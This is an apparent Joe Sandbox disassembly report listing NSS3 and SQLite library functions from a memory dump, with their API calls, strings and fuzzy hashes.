API String ID: 3941837925-0
Opcode ID: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction ID: b2b15484822969d8f070dfd9073801a14f9cf4573baa3c65fa2852ab80ea190f
Opcode Fuzzy Hash: 3c3d0e07a5e9a081932a15e31f967fce061379502bcf7d1b1d8e2125f10267e3
Instruction Fuzzy Hash: EF510075A143119FEB00DE29DC8AB5B77E5EF84348F18062CEC5987620E731E898CB92

Function 6CAB8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB90EC

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction ID: 0268a5d0d996ee2fb2f6195779ae255e9414c237e8ae14f80abeb4706a07b7a1
Opcode Fuzzy Hash: 62dc3b53c2b2641dd8ca17ed903d97b55438071b886a53000f6f611468933041
Instruction Fuzzy Hash: 3E518974A056558FCF40EF78D688299BBF8BF09314F094569DC58AB706EB30E8C8CB91

Function 6CA97CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA93F7F,?,00000055,?,?,6CA91666,?,?), ref: 6CA940D9
Part of subcall function 6CA940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CA91666,?,?), ref: 6CA940FC
Part of subcall function 6CA940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CA91666,?,?), ref: 6CA94138

PR_GetCurrentThread.NSS3 ref: 6CA97CFD

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBB9030), ref: 6CA97D1B

Part of subcall function 6CAEFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CA91A3E,00000048,00000054), ref: 6CAEFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CBB9048), ref: 6CA97D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CA97D50
PR_GetCurrentThread.NSS3 ref: 6CA97D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CA97D7D
free.MOZGLUE(?), ref: 6CA97D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CA97DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CA97E19

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 761fcc73ca4bee4d3443036d16797b200855f0cb134721468a92832d26641540
Instruction ID: cb7d15f8bca163f6cdf127012448e3e291c0863b815e44f0e117f7d06f218259
Opcode Fuzzy Hash: 761fcc73ca4bee4d3443036d16797b200855f0cb134721468a92832d26641540
Instruction Fuzzy Hash: D541E972A101199BDF009E699C42BBF37E8AF5425CF090024EC19E7761E730E999CBF1

Function 6CAA7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F36
free.MOZGLUE(?,?,?,6CAA80DD), ref: 6CAA7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CAA80DD), ref: 6CAA7F5D
DeleteCriticalSection.KERNEL32(?,6CAA80DD), ref: 6CAA7F94
free.MOZGLUE(?), ref: 6CAA7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CAA80DD), ref: 6CAA7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CAA80DD), ref: 6CAA7FE6
free.MOZGLUE(?,6CAA80DD), ref: 6CAA802D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 086c545a01c9b431f8258f0079901648604b8394b67c4f0a6988232e3857fc37
Instruction ID: 19d59aaa3bed236ba2edea34119099e63c3fc0950243d06c82fabbcd3e940d37
Opcode Fuzzy Hash: 086c545a01c9b431f8258f0079901648604b8394b67c4f0a6988232e3857fc37
Instruction Fuzzy Hash: 5B412871B412908FDF109FF9EC89A4B3BB5AB4B358F040229E529C3B44D730995ACB96

Function 6CAEFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAEFF00

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CAEFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAEFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CAEFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAEFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAEFF8C

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 3a432e84b5009a043e2d11f3f712ded9fcf862ecdf5921328fe20e66830ad63a
Instruction ID: 784037a93267fb24b0ecbcef71e519f3e75f8782568c89b65cf3452e1b735328
Opcode Fuzzy Hash: 3a432e84b5009a043e2d11f3f712ded9fcf862ecdf5921328fe20e66830ad63a
Instruction Fuzzy Hash: 883126F29013629BE7108E58AC40B5B76A8EF5A348F18013DFD2897740F771D99AC7D1

Function 6CAF3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CAF38BD), ref: 6CAF3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CAF38BD), ref: 6CAF3CD1

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CBCB369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CBCB369,000000FF,00000000,00000000,00000000,6CAF38BD), ref: 6CAF3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CAF3D47
free.MOZGLUE(00000000), ref: 6CAF3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CAF38BD), ref: 6CAF3D6F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 8dc20dcb89cd1419db5fb52e3007f653684ead510eac6edb4549a31b92973df7
Instruction ID: 2ee70c8b9eb897520178ab487718e0c45270a62f9b95e37bde70bdb6758cd7d3
Opcode Fuzzy Hash: 8dc20dcb89cd1419db5fb52e3007f653684ead510eac6edb4549a31b92973df7
Instruction Fuzzy Hash: 8221A4B570215237FB20667B5C09E7B39ACDB86AE8B180635B939D76C0DA70C84182B2

Function 6CAF4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CAF536F,00000022,?,?,00000000,?), ref: 6CAF4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CAF4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CAF4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CAF4FAE
free.MOZGLUE(?), ref: 6CAF4FC8

Strings

%s=%c%s%c, xrefs: 6CAF4FA9
%s=%s, xrefs: 6CAF4F89

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction ID: eb4e34d0b89560aa584bb1bcd8cedf0fe9c18e9201b7e93b1a8aff155174dd02
Opcode Fuzzy Hash: 6b51b0feb658ee2776ea68f8b8103c73789fddde3fee6022521c6944fe23be4b
Instruction Fuzzy Hash: 26513631E442868BFB01CA69C6907FE7BF59F46748F1C8125F8B4A7A40D339888787A1

Function 6CA37D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CA37EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA37F2E

Strings

database corruption, xrefs: 6CA37EE2, 6CA37F23
%s at line %d of [%.10s], xrefs: 6CA37EE7, 6CA37F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA37ED8, 6CA37F08, 6CA37F19

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 25f95f5d8adae4a635af13ba989c49a33df84879d1d3dd4c192ffc62173f6299
Instruction ID: 56edc8b5e6b07f2c2de792e382cceb92b95aba65bce65b0dc816ae91294026e5
Opcode Fuzzy Hash: 25f95f5d8adae4a635af13ba989c49a33df84879d1d3dd4c192ffc62173f6299
Instruction Fuzzy Hash: 6861C374A04255DFCB05CF29C9A0BAA37B2BF45318F2854A8EC09DBB51D730EC95CB91

Function 6CA1FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA1FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1FE83

Part of subcall function 6CA1FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CA1FEFA
Part of subcall function 6CA1FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CA1FF3B

Strings

database corruption, xrefs: 6CA1FD6E, 6CA1FE30
%s at line %d of [%.10s], xrefs: 6CA1FD73, 6CA1FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1FD64, 6CA1FE26

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 3354649af240eec042a28b419bdb484264f154f5e1b5b1e6035a1f3d461e4aba
Instruction ID: f09c0e05199f4e97ba3bc2f40e00f6c8530b8e4ad8ec7501beb06f62f771699c
Opcode Fuzzy Hash: 3354649af240eec042a28b419bdb484264f154f5e1b5b1e6035a1f3d461e4aba
Instruction Fuzzy Hash: 5751A074A042458FDF04CFA9C990AAEB7B5FF48318F14406DE905ABB52E330EC94CB90

Function 6CB62F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB62FFD
sqlite3_initialize.NSS3 ref: 6CB63007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB63032
sqlite3_mprintf.NSS3(6CBCAAF9,?), ref: 6CB63073
sqlite3_free.NSS3(?), ref: 6CB630B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CB630C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CB630BB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction ID: 981dea8f90260e12e2211309d7b24748ff8d46f8dee7ab9bb4643333054a1609
Opcode Fuzzy Hash: 35f885d73b44d2e4a82c9c8c316bb0fc72c1936f1da8feec9288a5a79d265f2a
Instruction Fuzzy Hash: 6F419575600686ABDB10CF26D840A4AB7B5FF44368F148528EC5987F40E731F999CBD2

Function 6CAA8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CAB124D,00000001), ref: 6CAA8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB124D,00000001), ref: 6CAA8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D73
PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8D8C

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CAB124D,00000001), ref: 6CAA8DBA

Strings

KRAM, xrefs: 6CAA8D3E
KRAM, xrefs: 6CAA8CF9

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction ID: db6c2010631f3c9482132eaf53e4cee89de6791ad79f9f44610a021c7391b55e
Opcode Fuzzy Hash: ef4d4b2d997fdcef4d06756bbdb2b1db7d3bfe7367b2b70a074e9d515b4c0cfd
Instruction Fuzzy Hash: 1121A1B5A046418FCB40EFB8C58466EBBF0FF45308F19896AD89887701E731D896CB91

Function 6CACACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CACACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CACAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CACAD23

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CACAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CACAD1C
C_MessageDecryptFinal, xrefs: 6CACACE1
hSession = 0x%x, xrefs: 6CACACFE, 6CACAD0E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction ID: a7a78c75e4cc283c10151f68924c533765be67a7f480da43cfaf12161aa6081e
Opcode Fuzzy Hash: 2f37baea76cf6db1ccb0af1960f226fc92e99a1e0be7124483430b2bd34baf72
Instruction Fuzzy Hash: F22107757011949FDB019B68FD88BBE3376EB42719F044029E81AA7711DF349D89C793

Function 6CBA0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
